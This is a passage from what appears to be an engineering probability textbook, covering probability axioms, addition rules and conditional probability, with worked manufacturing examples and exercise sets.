Serpentine	3	39

Let A denote the event that the geological formation has more than 1000 wells and let B denote the event that a well failed. Determine the number of wells in each of the following events.

(a) $A \cap B$ (b) A' (c) $A \cup B$ (d) $A \cup B'$ (e) $A' \cap B'$

2-2 INTERPRETATIONS AND AXIOMS OF PROBABILITY

In this chapter, we introduce probability for **discrete sample spaces**—those with only a finite (or countably infinite) set of outcomes. The restriction to these sample spaces enables us to simplify the concepts and the presentation without excessive mathematics.

Probability is used to quantify the likelihood, or chance, that an outcome of a random experiment will occur. "The chance of rain today is 30%" is a statement that quantifies our

Figure 2-10 Relative frequency of corrupted pulses sent over a communication channel.

feeling about the possibility of rain. The likelihood of an outcome is quantified by assigning a number from the interval [0, 1] to the outcome (or a percentage from 0 to 100%). Higher numbers indicate that the outcome is more likely than lower numbers. A 0 indicates an outcome will not occur. A probability of 1 indicates an outcome will occur with certainty.

The probability of an outcome can be interpreted as our subjective probability, or **degree of belief,** that the outcome will occur. Different individuals will no doubt assign different probabilities to the same outcomes. Another interpretation of probability is based on the conceptual model of repeated replications of the random experiment. The probability of an outcome is interpreted as the limiting value of the proportion of times the outcome occurs in n repetitions of the random experiment as n increases beyond all bounds. For example, if we assign probability 0.2 to the outcome that there is a corrupted pulse in a digital signal, we might interpret this assignment as implying that, if we analyze many pulses, approximately 20% of them will be corrupted. This example provides a **relative frequency** interpretation of probability. The proportion, or relative frequency, of replications of the experiment that result in the outcome is 0.2. Probabilities are chosen so that the sum of the probabilities of all outcomes in an experiment adds up to 1. This convention facilitates the relative frequency interpretation of probability. Figure 2-10 illustrates the concept of relative frequency.

Probabilities for a random experiment are often assigned on the basis of a reasonable model of the system under study. One approach is to base probability assignments on the simple concept of equally likely outcomes.

For example, suppose that we will select one laser diode **randomly** from a batch of 100. *Randomly* implies that it is reasonable to assume that each diode in the batch has an equal chance of being selected. Because the sum of the probabilities must equal 1, the probability model for this experiment assigns probability of 0.01 to each of the 100 outcomes. We can interpret the probability by imagining many replications of the experiment. Each time we start with all 100 diodes and select one at random. The probability 0.01 assigned to a particular diode represents the proportion of replicates in which a particular diode is selected. When the model of **equally likely outcomes** is assumed, the probabilities are chosen to be equal.

Equally Likely Outcomes

> Whenever a sample space consists of N possible outcomes that are equally likely, the probability of each outcome is $1/N$.

It is frequently necessary to assign probabilities to events that are composed of several outcomes from the sample space. This is straightforward for a discrete sample space.

Figure 2-11
Probability of the event E is the sum of the probabilities of the outcomes in E.

EXAMPLE 2-15 Laser Diodes

Assume that 30% of the laser diodes in a batch of 100 meet the minimum power requirements of a specific customer. If a laser diode is selected randomly, that is, each laser diode is equally likely to be selected, our intuitive feeling is that the probability of meeting the customer's requirements is 0.30.

Let E denote the subset of 30 diodes that meet the customer's requirements. Because E contains 30 outcomes and each outcome has probability 0.01, we conclude that the probability of E is 0.3. The conclusion matches our intuition. Figure 2-11 illustrates this example.

For a discrete sample space, the probability of an event can be defined by the reasoning used in the example above.

Probability of an Event

For a discrete sample space, the *probability of an event E*, denoted as $P(E)$, equals the sum of the probabilities of the outcomes in E.

EXAMPLE 2-16

A random experiment can result in one of the outcomes $\{a, b, c, d\}$ with probabilities 0.1, 0.3, 0.5, and 0.1, respectively. Let A denote the event $\{a, b\}$, B the event $\{b, c, d\}$, and C the event $\{d\}$.Then,

$$P(A) = 0.1 + 0.3 = 0.4$$
$$P(B) = 0.3 + 0.5 + 0.1 = 0.9$$
$$P(C) = 0.1$$

Also, $P(A') = 0.6$, $P(B') = 0.1$, and $P(C') = 0.9$. Furthermore, because $A \cap B = \{b\}$, $P(A \cap B) = 0.3$. Because $A \cup B = \{a, b, c, d\}$, $P(A \cup B) = 0.1 + 0.3 + 0.5 + 0.1 = 1$. Because $A \cap C$ is the null set, $P(A \cap C) = 0$.

EXAMPLE 2-17 Contamination Particles

A visual inspection of a location on wafers from a semiconductor manufacturing process resulted in the following table:

Number of Contamination Particles	Proportion of Wafers
0	0.40
1	0.20
2	0.15
3	0.10
4	0.05
5 or more	0.10

If one wafer is selected randomly from this process and the location is inspected, what is the probability that it contains no particles? If information were available for each wafer, we could define the sample space as the set of all wafers inspected and proceed as in the example with diodes. However, this level of detail is not needed in this case. We can consider the sample space to consist of the six categories that summarize the number of contamination particles on a wafer. Each category has probability equal to the proportion of wafers in the category. The event that there is no contamination particle in the inspected location on the wafer, denoted as E, can be considered to be comprised of the single outcome, namely, $E = \{0\}$. Therefore,

$$P(E) = 0.4$$

What is the probability that a wafer contains three or more particles in the inspected location? Let E denote the event that a wafer contains three or more particles in the inspected location. Then, E consists of the three outcomes {3, 4, 5 or more}. Therefore,

$$P(E) = 0.10 + 0.05 + 0.10 = 0.25$$

Practical Interpretation: Contamination levels affect the yield of functional devices in semiconductor manufacturing so that probabilities such as these are regularly studied.

Often more than one item is selected from a batch without replacement when production is inspected. In this case, *randomly* selected implies that each possible subset of items is equally likely.

EXAMPLE 2-18

Suppose a batch contains six parts $\{a, b, c, d, e, f\}$ and two parts are selected randomly, without replacement. Suppose that part f is defective, but the others are good. What is the probability that part f appears in the sample?

The sample space consists of all possible (unordered) pairs selected without replacement. From Equation 2-4 or by enumeration there are 15 outcomes. Let E denote the event that part f is in the sample. Then E can be written as $E = \{\{a, f\}, \{b, f\}, \{c, f\}, \{d, f\}, \{e, f\}\}$. Because each outcome is equally likely, $P(E) = 5/15 = 1/3$.

Now that the probability of an event has been defined, we can collect the assumptions that we have made concerning probabilities into a set of **axioms** that the probabilities in any random experiment must satisfy. The axioms ensure that the probabilities assigned in an experiment can be interpreted as relative frequencies and that the assignments are consistent with our intuitive understanding of relationships between relative frequencies. For example, if event A is contained in event B, we should have $P(A) \leq P(B)$. The **axioms do not determine probabilities;** the probabilities are assigned based on our knowledge of the system under study. However, the axioms enable us to easily calculate the probabilities of some events from knowledge of the probabilities of other events.

Axioms of Probability

Probability is a number that is assigned to each member of a collection of events from a random experiment that satisfies the following properties:

If S is the sample space and E is any event in a random experiment,

(1) $P(S) = 1$

(2) $0 \leq P(E) \leq 1$

(3) For two events E_1 and E_2 with $E_1 \cap E_2 = \varnothing$

$$P(E_1 \cup E_2) = P(E_1) + P(E_2)$$

The property that $0 \leq P(E) \leq 1$ is equivalent to the requirement that a relative frequency must be between 0 and 1. The property that $P(S) = 1$ is a consequence of the fact that an outcome from the sample space occurs on every trial of an experiment. Consequently, the relative frequency of S is 1. Property 3 implies that if the events E_1 and E_2 have no outcomes in common, the relative frequency of outcomes in $E_1 \cup E_2$ is the sum of the relative frequencies of the outcomes in E_1 and E_2.

These axioms imply the following results. The derivations are left as exercises at the end of this section. Now,

$$P(\varnothing) = 0$$

and for any event E,

$$P(E') = 1 - P(E)$$

For example, if the probability of the event E is 0.4, our interpretation of relative frequency implies that the probability of E' is 0.6. Furthermore, if the event E_1 is contained in the event E_2,

$$P(E_1) \leq P(E_2)$$

EXERCISES FOR SECTION 2-2

2-54. Each of the possible five outcomes of a random experiment is equally likely. The sample space is $\{a, b, c, d, e\}$. Let A denote the event $\{a, b\}$, and let B denote the event $\{c, d, e\}$. Determine the following:
(a) $P(A)$ (b) $P(B)$
(c) $P(A')$ (d) $P(A \cup B)$
(e) $P(A \cap B)$

2-55. The sample space of a random experiment is $\{a, b, c, d, e\}$ with probabilities 0.1, 0.1, 0.2, 0.4, and 0.2, respectively. Let A denote the event $\{a, b, c\}$, and let B denote the event $\{c, d, e\}$. Determine the following:
(a) $P(A)$ (b) $P(B)$
(c) $P(A')$ (d) $P(A \cup B)$
(e) $P(A \cap B)$

2-56. Orders for a computer are summarized by the optional features that are requested as follows:

	proportion of orders
no optional features	0.3
one optional feature	0.5
more than one optional feature	0.2

(a) What is the probability that an order requests at least one optional feature?
(b) What is the probability that an order does not request more than one optional feature?

2-57. If the last digit of a weight measurement is equally likely to be any of the digits 0 through 9,
(a) What is the probability that the last digit is 0?
(b) What is the probability that the last digit is greater than or equal to 5?

2-58. A part selected for testing is equally likely to have been produced on any one of six cutting tools.
(a) What is the sample space?
(b) What is the probability that the part is from tool 1?
(c) What is the probability that the part is from tool 3 or tool 5?
(d) What is the probability that the part is not from tool 4?

2-59. An injection-molded part is equally likely to be obtained from any one of the eight cavities on a mold.
(a) What is the sample space?
(b) What is the probability a part is from cavity 1 or 2?
(c) What is the probability that a part is from neither cavity 3 nor 4?

2-60. In an acid-base titration, a base or acid is gradually added to the other until they have completely neutralized each other. Because acids and bases are usually colorless (as are the water and salt produced in the neutralization reaction), pH is measured to monitor the reaction. Suppose that the equivalence point is reached after approximately 100 mL of a NaOH solution have been added (enough to react with all the acetic acid present) but that replicates are equally likely to indicate from 95 to 104 mL to the nearest mL. Assume that volumes are measured to the nearest mL and describe the sample space.
(a) What is the probability that equivalence is indicated at 100 mL?
(b) What is the probability that equivalence is indicated at less than 100 mL?
(c) What is the probability that equivalence is indicated between 98 and 102 mL (inclusive)?

2-61. In a NiCd battery, a fully charged cell is composed of Nickelic Hydroxide. Nickel is an element that has multiple oxidation states that is usually found in the following states:

nickel charge	proportions found
0	0.17
+2	0.35
+3	0.33
+4	0.15

(a) What is the probability that a cell has at least one of the positive nickel-charged options?
(b) What is the probability that a cell is not composed of a positive nickel charge greater than +3?

2-62. A credit card contains 16 digits between 0 and 9. However, only 100 million numbers are valid. If a number is entered randomly, what is the probability that it is a valid number?

2-63. Suppose your vehicle is licensed in a state that issues license plates that consist of three digits (between 0 and 9) followed by three letters (between A and Z). If a license number is selected randomly, what is the probability that yours is the one selected?

2-64. A message can follow different paths through servers on a network. The sender's message can go to one of five servers for the first step; each of them can send to five servers

at the second step; each of those can send to four servers at the third step; and then the message goes to the recipient's server.
(a) How many paths are possible?
(b) If all paths are equally likely, what is the probability that a message passes through the first of four servers at the third step?

2-65. Magnesium alkyls are used as homogenous catalysts in the production of linear low-density polyethylene (LLDPE), which requires a finer magnesium powder to sustain a reaction. Redox reaction experiments using four different amounts of magnesium powder are performed. Each result may or may not be further reduced in a second step using three different magnesium powder amounts. Each of these results may or may not be further reduced in a third step using three different amounts of magnesium powder.
(a) How many experiments are possible?
(b) If all outcomes are equally likely, what is the probability that the best result is obtained from an experiment that uses all three steps?
(c) Does the result in the previous question change if five or six or seven different amounts are used in the first step? Explain.

2-66. Disks of polycarbonate plastic from a supplier are analyzed for scratch and shock resistance. The results from 100 disks are summarized as follows:

		shock resistance	
		high	low
scratch	high	70	9
resistance	low	16	5

Let A denote the event that a disk has high shock resistance, and let B denote the event that a disk has high scratch resistance. If a disk is selected at random, determine the following probabilities:
(a) $P(A)$ (b) $P(B)$
(c) $P(A')$ (d) $P(A \cap B)$
(e) $P(A \cup B)$ (f) $P(A' \cup B)$

2-67. Samples of emissions from three suppliers are classified for conformance to air-quality specifications. The results from 100 samples are summarized as follows:

		conforms	
		yes	no
	1	22	8
supplier	2	25	5
	3	30	10

Let A denote the event that a sample is from supplier 1, and let B denote the event that a sample conforms to specifications. If a sample is selected at random, determine the following probabilities:
(a) $P(A)$ (b) $P(B)$
(c) $P(A')$ (d) $P(A \cap B)$
(e) $P(A \cup B)$ (f) $P(A' \cup B)$

2-68. An article in the *Journal of Database Management* ["Experimental Study of a Self-Tuning Algorithm for DBMS Buffer Pools" (2005, Vol. 16, pp. 1–20)] provided the workload used in the TPC-C OLTP (Transaction Processing Performance Council's Version C On-Line Transaction Processing) benchmark, which simulates a typical order entry application.

Average Frequencies and Operations in TPC-C

Transaction	Frequency	Selects	Updates	Inserts	Deletes	Non-Unique Selects	Joins
New order	43	23	11	12	0	0	0
Payment	44	4.2	3	1	0	0.6	0
Order status	4	11.4	0	0	0	0.6	0
Delivery	5	130	120	0	10	0	0
Stock level	4	0	0	0	0	0	1

The frequency of each type of transaction (in the second column) can be used as the percentage of each type of transaction. The average number of *selects* operations required for each type of transaction is shown. Let A denote the event of transactions with an average number of *selects* operations of 12 or fewer. Let B denote the event of transactions with an average number of *updates* operations of 12 or fewer. Calculate the following probabilities.
(a) $P(A)$ (b) $P(B)$ (c) $P(A \cap B)$
(d) $P(A \cap B')$ (e) $P(A \cup B)$

2-69. Use the axioms of probability to show the following:
(a) For any event E, $P(E') = 1 - P(E)$.
(b) $P(\varnothing) = 0$
(c) If A is contained in B, then $P(A) \leq P(B)$.

2-70. Consider the endothermic reactions in Exercise 2-50. Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is above target.
Determine the following probabilities.
(a) $P(A \cap B)$ (b) $P(A')$ (c) $P(A \cup B)$
(d) $P(A \cup B')$ (e) $P(A' \cap B')$

2-71. A Web ad can be designed from four different colors, three font types, five font sizes, three images, and five text phrases. A specific design is randomly generated by the Web server when you visit the site. If you visit the site five times, what is the probability that you will not see the same design?

2-72. Consider the hospital emergency room data in Example 2-8. Let A denote the event that a visit is to Hospital 4 and let B denote the event that a visit results in LWBS (at any hospital). Determine the following probabilities.

(a) $P(A \cap B)$ (b) $P(A')$ (c) $P(A \cup B)$
(d) $P(A \cup B')$ (e) $P(A' \cap B')$

2-73. Consider the well failure data in Exercise 2-53. Let A denote the event that the geological formation has more than 1000 wells and let B denote the event that a well failed. Determine the following probabilities.

(a) $P(A \cap B)$ (b) $P(A')$ (c) $P(A \cup B)$
(d) $P(A \cup B')$ (e) $P(A' \cap B')$

2-3 ADDITION RULES

Joint events are generated by applying basic set operations to individual events. Unions of events, such as $A \cup B$; intersections of events, such as $A \cap B$; and complements of events, such as A', are commonly of interest. The probability of a joint event can often be determined from the probabilities of the individual events that comprise it. Basic set operations are also sometimes helpful in determining the probability of a joint event. In this section the focus is on unions of events.

EXAMPLE 2-19 Semiconductor Wafers

Table 2-1 lists the history of 940 wafers in a semiconductor manufacturing process. Suppose one wafer is selected at random. Let H denote the event that the wafer contains high levels of contamination. Then, $P(H) = 358/940$.

Let C denote the event that the wafer is in the center of a sputtering tool. Then, $P(C) = 626/940$. Also, $P(H \cap C)$ is the probability that the wafer is from the center of the sputtering tool and contains high levels of contamination. Therefore,

$$P(H \cap C) = 112/940$$

The event $H \cup C$ is the event that a wafer is from the center of the sputtering tool or contains high levels of contamination (or both). From the table, $P(H \cup C) = 872/940$. An alternative calculation of $P(H \cup C)$ can be obtained as follows. The 112 wafers that comprise the event $H \cap C$ are included once in the calculation of $P(H)$ and again in the calculation of $P(C)$. Therefore, $P(H \cup C)$ can be found to be

$$\begin{aligned} P(H \cup C) &= P(H) + P(C) - P(H \cap C) \\ &= 358/940 + 626/940 - 112/940 = 872/940 \end{aligned}$$

Practical Interpretation: To better understand the sources of contamination, yield from defferent locations on wafers are routinely aggregated.

The preceding example illustrates that the probability of A or B is interpreted as $P(A \cup B)$ and that the following general **addition rule** applies.

Table 2-1 Wafers in Semiconductor Manufacturing Classified by Contamination and Location

	Location in Sputtering Tool		
Contamination	Center	Edge	Total
Low	514	68	582
High	112	246	358
Total	626	314	

Probability of a Union

$$P(A \cup B) = P(A) + P(B) - P(A \cap B) \tag{2-5}$$

EXAMPLE 2-20 Semiconductor Wafers and Location

The wafers in Example 2-19 were further classified by the degree of contamination. Table 2-2 shows the proportion of wafers in each category. What is the probability that a wafer was either at the edge or that it contains four or more particles? Let E_1 denote the event that a wafer contains four or more particles, and let E_2 denote the event that a wafer was at the edge.

The requested probability is $P(E_1 \cup E_2)$. Now, $P(E_1) = 0.15$ and $P(E_2) = 0.28$. Also, from the table, $P(E_1 \cap E_2) = 0.04$. Therefore, using Equation 2-1, we find that

$$P(E_1 \cup E_2) = 0.15 + 0.28 - 0.04 = 0.39$$

What is the probability that a wafer contains less than two particles or that it is both at the edge and contains more than four particles? Let E_1 denote the event that a wafer contains less than two particles, and let E_2 denote the event that a wafer is both at the edge and contains more than four particles. The requested probability is $P(E_1 \cup E_2)$. Now, $P(E_1) = 0.60$ and $P(E_2) = 0.03$. Also, E_1 and E_2 are mutually exclusive. Consequently, there are no wafers in the intersection and $P(E_1 \cap E_2) = 0$. Therefore,

$$P(E_1 \cup E_2) = 0.60 + 0.03 = 0.63$$

Recall that two events A and B are said to be mutually exclusive if $A \cap B = \varnothing$. Then, $P(A \cap B) = 0$, and the general result for the probability of $A \cup B$ simplifies to the third axiom of probability.

If A and B are mutually exclusive events,

$$P(A \cup B) = P(A) + P(B) \tag{2-6}$$

Three or More Events

More complicated probabilities, such as $P(A \cup B \cup C)$, can be determined by repeated use of Equation 2-5 and by using some basic set operations. For example,

$$P(A \cup B \cup C) = P[(A \cup B) \cup C] = P(A \cup B) + P(C) - P[(A \cup B) \cap C]$$

Table 2-2 Wafers Classified by Contamination and Location

Number of Contamination Particles	Center	Edge	Totals
0	0.30	0.10	0.40
1	0.15	0.05	0.20
2	0.10	0.05	0.15
3	0.06	0.04	0.10
4	0.04	0.01	0.05
5 or more	0.07	0.03	0.10
Totals	0.72	0.28	1.00

Upon expanding $P(A \cup B)$ by Equation 2-5 and using the distributed rule for set operations to simplify $P[(A \cup B) \cap C]$, we obtain

$$\begin{aligned} P(A \cup B \cup C) &= P(A) + P(B) - P(A \cap B) + P(C) - P[(A \cap C) \cup (B \cap C)] \\ &= P(A) + P(B) - P(A \cap B) + P(C) \\ &\qquad - [P(A \cap C) + P(B \cap C) - P(A \cap B \cap C)] \\ &= P(A) + P(B) + P(C) - P(A \cap B) - P(A \cap C) \\ &\qquad - P(B \cap C) + P(A \cap B \cap C) \end{aligned}$$

We have developed a formula for the probability of the union of three events. Formulas can be developed for the probability of the union of any number of events, although the formulas become very complex. As a summary, for the case of three events,

$$\begin{aligned} P(A \cup B \cup C) = P(A) + P(B) + P(C) - P(A \cap B) \\ - P(A \cap C) - P(B \cap C) + P(A \cap B \cap C) \end{aligned} \quad (2\text{-}7)$$

Results for three or more events simplify considerably if the events are mutually exclusive. In general, a collection of events, $E_1, E_2, \ldots, E_k$, is said to be mutually exclusive if there is no overlap among any of them. The Venn diagram for several mutually exclusive events is shown in Fig. 2-12. By generalizing the reasoning for the union of two events, the following result can be obtained:

Mutually Exclusive Events

A collection of events, $E_1, E_2, \ldots, E_k$, is said to be **mutually exclusive** if for all pairs,

$$E_i \cap E_j = \varnothing$$

For a collection of mutually exclusive events,

$$P(E_1 \cup E_2 \cup \ldots \cup E_k) = P(E_1) + P(E_2) + \ldots P(E_k) \quad (2\text{-}8)$$

Figure 2-12 Venn diagram of four mutually exclusive events.

EXAMPLE 2-21 pH

A simple example of mutually exclusive events will be used quite frequently. Let X denote the pH of a sample. Consider the event that X is greater than 6.5 but less than or equal to 7.8. This probability is the sum of any collection of mutually exclusive events with union equal to the same range for X. One example is

$$P(6.5 < X \le 7.8) = P(6.5 < X \le 7.0) + P(7.0 < X \le 7.5) + P(7.5 < X \le 7.8)$$

Another example is

$$P(6.5 < X \le 7.8) = P(6.5 < X \le 6.6) + P(6.6 < X \le 7.1) + P(7.1 < X \le 7.4) + P(7.4 < X \le 7.8)$$

The best choice depends on the particular probabilities available.

Practical Interpretation: The partition of an event into mutually exclusive subsets is widely used in later chapters to calculate probabilities.

EXERCISES FOR SECTION 2-3

2-74. If $P(A) = 0.3$, $P(B) = 0.2$, and $P(A \cap B) = 0.1$, determine the following probabilities:

(a) $P(A')$ (b) $P(A \cup B)$ (c) $P(A' \cap B)$
(d) $P(A \cap B')$ (e) $P[(A \cup B)']$ (f) $P(A' \cup B)$

2-75. If A, B, and C are mutually exclusive events with $P(A) = 0.2$, $P(B) = 0.3$, and $P(C) = 0.4$, determine the following probabilities:

(a) $P(A \cup B \cup C)$ (b) $P(A \cap B \cap C)$
(c) $P(A \cap B)$ (d) $P[(A \cup B) \cap C]$
(e) $P(A' \cap B' \cap C')$

2-76. In the article "ACL Reconstruction Using Bone-Patellar Tendon-Bone Press-Fit Fixation: 10-Year Clinical Results" in *Knee Surgery, Sports Traumatology, Arthroscopy* (2005, Vol. 13, pp. 248–255), the following causes for knee injuries were considered:

Activity	Percentage of Knee Injuries
Contact sport	46%
Noncontact sport	44%
Activity of daily living	9%
Riding motorcycle	1%

(a) What is the probability a knee injury resulted from a sport (contact or noncontact)?
(b) What is the probability a knee injury resulted from an activity other than a sport?

2-77. Disks of polycarbonate plastic from a supplier are analyzed for scratch and shock resistance. The results from 100 disks are summarized as follows:

		shock resistance	
		high	low
scratch	high	70	9
resistance	low	16	5

(a) If a disk is selected at random, what is the probability that its scratch resistance is high and its shock resistance is high?
(b) If a disk is selected at random, what is the probability that its scratch resistance is high or its shock resistance is high?
(c) Consider the event that a disk has high scratch resistance and the event that a disk has high shock resistance. Are these two events mutually exclusive?

2-78. Strands of copper wire from a manufacturer are analyzed for strength and conductivity. The results from 100 strands are as follows:

	strength	
	high	low
high conductivity	74	8
low conductivity	15	3

(a) If a strand is randomly selected, what is the probability that its conductivity is high and its strength is high?
(b) If a strand is randomly selected, what is the probability that its conductivity is low or the strength is low?
(c) Consider the event that a strand has low conductivity and the event that the strand has a low strength. Are these two events mutually exclusive?

2-79. The analysis of shafts for a compressor is summarized by conformance to specifications.

		roundness conforms	
		yes	no
surface finish	yes	345	5
conforms	no	12	8

(a) If a shaft is selected at random, what is the probability that the shaft conforms to surface finish requirements?
(b) What is the probability that the selected shaft conforms to surface finish requirements or to roundness requirements?
(c) What is the probability that the selected shaft either conforms to surface finish requirements or does not conform to roundness requirements?
(d) What is the probability that the selected shaft conforms to both surface finish and roundness requirements?

2-80. Cooking oil is produced in two main varieties: mono- and polyunsaturated. Two common sources of cooking oil are

corn and canola. The following table shows the number of bottles of these oils at a supermarket:

		type of oil	
		canola	corn
type of	mono	7	13
unsaturation	poly	93	77

(a) If a bottle of oil is selected at random, what is the probability that it belongs to the polyunsaturated category?
(b) What is the probability that the chosen bottle is monounsaturated canola oil?

2-81. A manufacturer of front lights for automobiles tests lamps under a high-humidity, high-temperature environment using intensity and useful life as the responses of interest. The following table shows the performance of 130 lamps:

		useful life	
		satisfactory	unsatisfactory
intensity	satisfactory	117	3
	unsatisfactory	8	2

(a) Find the probability that a randomly selected lamp will yield unsatisfactory results under any criteria.
(b) The customers for these lamps demand 95% satisfactory results. Can the lamp manufacturer meet this demand?

2-82. A computer system uses passwords that are six characters and each character is one of the 26 letters (a–z) or 10 integers (0–9). Uppercase letters are not used. Let A denote the event that a password begins with a vowel (either a, e, i, o, or u) and let B denote the event that a password ends with an even number (either 0, 2, 4, 6, or 8). Suppose a hacker selects a password at random. Determine the following probabilities:

(a) $P(A)$ (b) $P(B)$
(c) $P(A \cap B)$ (d) $P(A \cup B)$

2-83. Consider the endothermic reactions in Exercise 2-50. Let A denote the event that a reaction final temperature is 271 K or less. Let B denote the event that the heat absorbed is above target. Use the addition rules to calculate the following probabilities.

(a) $P(A \cup B)$ (b) $P(A \cup B')$
(c) $P(A' \cup B')$

2-84. A Web ad can be designed from four different colors, three font types, five font sizes, three images, and five text phrases. A specific design is randomly generated by the Web server when you visit the site. Let A denote the event that the design color is red and let B denote the event that the font size is not the smallest one. Use the addition rules to calculate the following probabilities.

(a) $P(A \cup B)$ (b) $P(A \cup B')$
(c) $P(A' \cup B')$

2-85. Consider the hospital emergency room data in Example 2-8. Let A denote the event that a visit is to Hospital 4 and let B denote the event that a visit results in LWBS (at any hospital). Use the addition rules to calculate the following probabilities.

(a) $P(A \cup B)$ (b) $P(A \cup B')$
(c) $P(A' \cup B')$

2-86. Consider the well failure data in Exercise 2-53. Let A denote the event that the geological formation has more than 1000 wells and let B denote the event that a well failed. Use the addition rules to calculate the following probabilities.

(a) $P(A \cup B)$ (b) $P(A \cup B')$
(c) $P(A' \cup B')$

2-4 CONDITIONAL PROBABILITY

Sometimes probabilities need to be reevaluated as additional information becomes available. A useful way to incorporate additional information into a probability model is to assume that the outcome that will be generated is a member of a given event. This event, say A, defines the conditions that the outcome is known to satisfy. Then probabilities can be revised to include this knowledge. The probability of an event B under the knowledge that the outcome will be in event A is denoted as

$$P(B|A)$$

and this is called the **conditional probability** of B **given** A.

A digital communication channel has an error rate of one bit per every thousand transmitted. Errors are rare, but when they occur, they tend to occur in bursts that affect many consecutive bits. If a single bit is transmitted, we might model the probability of an error as $1/1000$. However, if the previous bit was in error, because of the bursts, we might believe that the probability that the next bit is in error is greater than $1/1000$.

In a thin film manufacturing process, the proportion of parts that are not acceptable is 2%. However, the process is sensitive to contamination problems that can increase the rate of parts

Figure 2-13 Conditional probabilities for parts with surface flaws.

that are not acceptable. If we knew that during a particular shift there were problems with the filters used to control contamination, we would assess the probability of a part being unacceptable as higher than 2%.

In a manufacturing process, 10% of the parts contain visible surface flaws and 25% of the parts with surface flaws are (functionally) defective parts. However, only 5% of parts without surface flaws are defective parts. The probability of a defective part depends on our knowledge of the presence or absence of a surface flaw. Let D denote the event that a part is defective and let F denote the event that a part has a surface flaw. Then, we denote the probability of D given, or assuming, that a part has a surface flaw as $P(D|F)$. Because 25% of the parts with surface flaws are defective, our conclusion can be stated as $P(D|F) = 0.25$. Furthermore, because F' denotes the event that a part does not have a surface flaw and because 5% of the parts without surface flaws are defective, we have $P(D|F') = 0.05$. These results are shown graphically in Fig. 2-13.

EXAMPLE 2-22

Table 2-3 provides an example of 400 parts classified by surface flaws and as (functionally) defective. For this table the conditional probabilities match those discussed previously in this section. For example, of the parts with surface flaws (40 parts) the number of defective ones is 10. Therefore,

$$P(D|F) = 10/40 = 0.25$$

and of the parts without surface flaws (360 parts) the number of defective ones is 18. Therefore,

$$P(D|F') = 18/360 = 0.05$$

Practical Interpretation: The probability of defective is five times greater for parts with surface flaws. This calculation illustrates how probabilities are adjusted for additional information. The result also suggests that there may be a link between surface flaws and functionally defective parts that should be investigated.

In Example 2-22 conditional probabilities were calculated directly. These probabilities can also be determined from the formal definition of conditional probability.

Conditional Probability

The **conditional probability** of an event B given an event A, denoted as $P(B|A)$, is

$$P(B|A) = P(A \cap B)/P(A) \tag{2-9}$$

for $P(A) > 0$.

Table 2-3 Parts Classified

		Surface Flaws		
		Yes (event F)	No	Total
Defective	Yes (event D)	10	18	28
	No	30	342	372
	Total	40	360	400

This definition can be understood in a special case in which all outcomes of a random experiment are equally likely. If there are n total outcomes,

$$P(A) = (\text{number of outcomes in } A)/n$$

Also,

$$P(A \cap B) = (\text{number of outcomes in } A \cap B)/n$$

Consequently,

$$P(A \cap B)/P(A) = \frac{\text{number of outcomes in } A \cap B}{\text{number of outcomes in } A}$$

Therefore, $P(B|A)$ can be interpreted as the relative frequency of event B among the trials that produce an outcome in event A.

EXAMPLE 2-23 **Surface Flaws**

Again consider the 400 parts in Table 2-3. From this table,

$$P(D|F) = P(D \cap F)/P(F) = \frac{10}{400}\Big/\frac{40}{400} = \frac{10}{40}$$

Note that in this example all four of the following probabilities are different:

$$P(F) = 40/400 \qquad P(F|D) = 10/28$$
$$P(D) = 28/400 \qquad P(D|F) = 10/40$$

Here, $P(D)$ and $P(D|F)$ are probabilities of the same event, but they are computed under two different states of knowledge. Similarly, $P(F)$ and $P(F|D)$ are computed under two different states of knowledge.

The tree diagram in Fig. 2-14 can also be used to display conditional probabilities. The first branch is on surface flaw. Of the 40 parts with surface flaws, 10 are functionally defective and 30 are not. Therefore,

$$P(D|F) = 10/40 \qquad \text{and} \qquad P(D'|F) = 30/40$$

Of the 360 parts without surface flaws, 18 are functionally defective and 342 are not. Therefore,

$$P(D|F') = 18/360 \qquad \text{and} \qquad P(D'|F') = 342/360$$

Random Samples and Conditional Probability

Recall that to select one item randomly from a batch implies that each item is equally likely. If more than one item is selected, *randomly* implies that each element of the sample space is equally likely. For example, when sample spaces were presented earlier in this chapter, sampling with and without replacement was defined and illustrated for the simple case of a batch with three items $\{a, b, c\}$. If two items are selected randomly from this batch without replacement, each of the six outcomes in the ordered sample space $\{ab, ac, ba, bc, ca, cb\}$ has probability 1/6. If the unordered sample space is used, each of the three outcomes in $\{\{a, b\}, \{a, c\}, \{b, c\}\}$ has probability 1/3.

Figure 2-14 Tree diagram for parts classified

When a sample is selected randomly from a large batch, it is usually easier to avoid enumeration of the sample space and calculate probabilities from conditional probabilities. For example, suppose that a batch contains 10 parts from tool 1 and 40 parts from tool 2. If two parts are selected randomly, without replacement, what is the conditional probability that a part from tool 2 is selected second given that a part from tool 1 is selected first?

Although the answer can be determined from counts of outcomes, this type of question can be answered more easily with the following result.

Random Samples

> To select randomly implies that at each step of the sample, the items that remain in the batch are equally likely to be selected.

If a part from tool 1 were selected with the first pick, 49 items would remain, 9 from tool 1 and 40 from tool 2, and they would be equally likely to be picked. Therefore, the probability that a part from tool 2 would be selected with the second pick given this first pick is

$$P(E_2|E_1) = 40/49$$

In this manner, other probabilities can also be simplified. For example, let the event E consist of the outcomes with the first selected part from tool 1 and the second part from tool 2. To determine the probability of E, consider each step. The probability that a part from tool 1 is selected with the first pick is $P(E_1) = 10/50$. The conditional probability that a part from tool 2 is selected with the second pick, given that a part from tool 1 is selected first, is $P(E_2|E_1) = 40/49$. Therefore,

$$P(E) = P(E_2|E_1)P(E_1) = \frac{40}{49} \cdot \frac{10}{50} = \frac{8}{49}$$

Sometimes a partition of the question into successive picks is an easier method to solve the problem.

EXAMPLE 2-24

A day's production of 850 manufactured parts contains 50 parts that do not meet customer requirements. Two parts are selected randomly without replacement from the batch. What is the probability that the second part is defective given that the first part is defective?

Let A denote the event that the first part selected is defective, and let B denote the event that the second part selected is defective. The probability needed can be expressed as $P(B|A)$. If the first part is defective, prior to selecting the second part, the batch contains 849 parts, of which 49 are defective; therefore,

$$P(B|A) = 49/849$$

EXAMPLE 2-25

Continuing the previous example, if three parts are selected at random, what is the probability that the first two are defective and the third is not defective? This event can be described in shorthand notation as simply $P(ddn)$. We have

$$P(ddn) = \frac{50}{850} \cdot \frac{49}{849} \cdot \frac{800}{848} = 0.0032$$

The third term is obtained as follows. After the first two parts are selected, there are 848 remaining. Of the remaining parts, 800 are not defective. In this example, it is easy to obtain the solution with a conditional probability for each selection.

